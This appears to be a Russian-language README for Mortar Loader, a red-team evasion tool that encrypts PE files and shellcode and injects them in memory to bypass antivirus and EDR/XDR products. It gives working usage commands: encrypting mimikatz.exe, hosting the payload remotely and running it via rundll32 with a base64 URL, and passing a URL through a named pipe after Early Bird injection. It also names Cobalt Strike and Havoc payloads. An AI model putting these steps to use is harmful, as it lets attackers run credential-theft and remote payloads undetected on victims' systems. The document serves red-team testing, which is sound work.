0xsp-srd/mortarтехника обхода для преодоления и отвлечения обнаружения и предотвращения продуктов безопасности (AV/EDR/XDR)
Техника уклонения red team для обхода и отвлечения систем обнаружения и предотвращения средств безопасности. Mortar Loader выполняет шифрование и дешифрование PE/Shellcode в потоках памяти и запускает его с использованием нескольких техник инжекции. Mortar способен обходить современные антивирусные продукты и продвинутые XDR-решения; он протестирован и подтверждён для обхода следующих продуктов:
Релиз новой версии (v3) включает следующие функции:
За техническим описанием обращайтесь к следующей публикации в блоге: https://kpmg.com/nl/en/home/insights/2023/12/mortar-loader.html
Encryptor шифрует C ShellCode и PE-бинарные файлы и записывает результат в файл .enc. Вы можете использовать любую полезную нагрузку (MSF/cobalt/Havoc и т.д.) по своему усмотрению, при условии, что она имеет архитектуру x64 и не является RAW.
root@kali>./encryptor -f mimikatz.exe -o bin.enc
root@kali>./encryptor -f shellcode.c -o bin.enc
Новый релиз использует несколько техник в сочетании с удалённой загрузкой полезной нагрузки; рекомендуется обратиться к следующей публикации в блоге для получения дополнительной информации.
Для быстрых инструкций:
# Форк PE
1. Разместите зашифрованный бинарный файл на удалённом хосте.
2. Закодируйте конечный URL в base64.
3. rundll32.exe agressor.dll,viewlogs [BASE64 URL].
4. Включена техника скрытой перезагрузки подпрограммы.
В настоящее время поддерживается внедрение Early Bird в сочетании с именованными каналами для получения переменных для окончательного выполнения.
1. Внедрите DLL Mortar в удаленный процесс (внедрение DLL, перехват, side-loading).
2. Подключитесь к именованному каналу, чтобы указать ваш URL:
echo {BASE64 URL} > \\.\pipe\moj_ML_ntsvcs
3. Полезная нагрузка будет выполнена после получения корректного значения.
Проект написан на FPC (Free Pascal); процедура компиляции проста: скачайте и установите Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads).
Для encryptor вы можете скачать его из раздела релизов или легко скомпилировать с помощью Lazarus IDE.
# Debian & Ubuntu
apt install fpc
apt install lazarus-ide
Разработка mortar или любого опубликованного проекта является результатом моего личного времени.